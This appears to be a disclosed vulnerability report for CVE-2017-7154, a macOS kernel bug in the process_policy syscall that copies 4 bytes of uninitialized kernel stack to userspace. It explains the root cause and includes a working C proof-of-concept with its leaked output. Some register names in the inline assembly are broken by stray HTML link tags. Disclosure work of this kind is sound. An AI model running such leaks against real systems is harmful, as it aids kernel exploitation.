macOS suffers from a process_policy stack leak through an uninitialized field.
087461a94f1e181ee115eef15d6fd864MacOS process_policy stack leak through uninitialized field
CVE-2017-7154
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
The call graph looks as follows:
process_policy
handle_cpuuse
proc_get_task_ruse_cpu
task_get_cpuusage
[writes scope=1/2/4/0]
[always returns zero]
[writes policyp if scope!=0]
[always returns zero]
copyout
If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
$ cat test.c
#include <stdint.h>
#include <stdio.h>
#include <inttypes.h>
struct proc_policy_cpuusage_attr {
uint32_t ppattr_cpu_attr;
uint32_t ppattr_cpu_percentage;
uint64_t ppattr_cpu_attr_interval;
uint64_t ppattr_cpu_attr_deadline;
};
void run(void) {
int retval;
struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
asm volatile(
"mov $0x02000143, %%rax\n\t" // process_policy
"mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS
"mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET
"mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE
"mov $3, %%<a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>\n\t" // PROC_POLICY_RUSAGE_CPU
"mov %[userptr], %%<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>\n\t"
"mov $0, %%<a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>\n\t" // PID 0 (self)
// target_threadid is unused
"syscall\n\t"
: //out
"=a"(retval)
: //in
[userptr] "r"(&attrs)
: //clobber
"cc", "memory", "rdi", "rsi", "rdx", "<a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>", "<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>", "<a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>"
);
printf("retval = %d\n", retval);
printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
}
int main(void) {
run();
return 0;
}
$ gcc -Wall -o test test.c
$ ./test
retval = 0
ppattr_cpu_attr = 0x1a180ccb
ppattr_cpu_percentage = 0x0
ppattr_cpu_attr_interval = 0x0
ppattr_cpu_attr_deadline = 0x0
That looks like the lower half of a pointer or so.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: jannh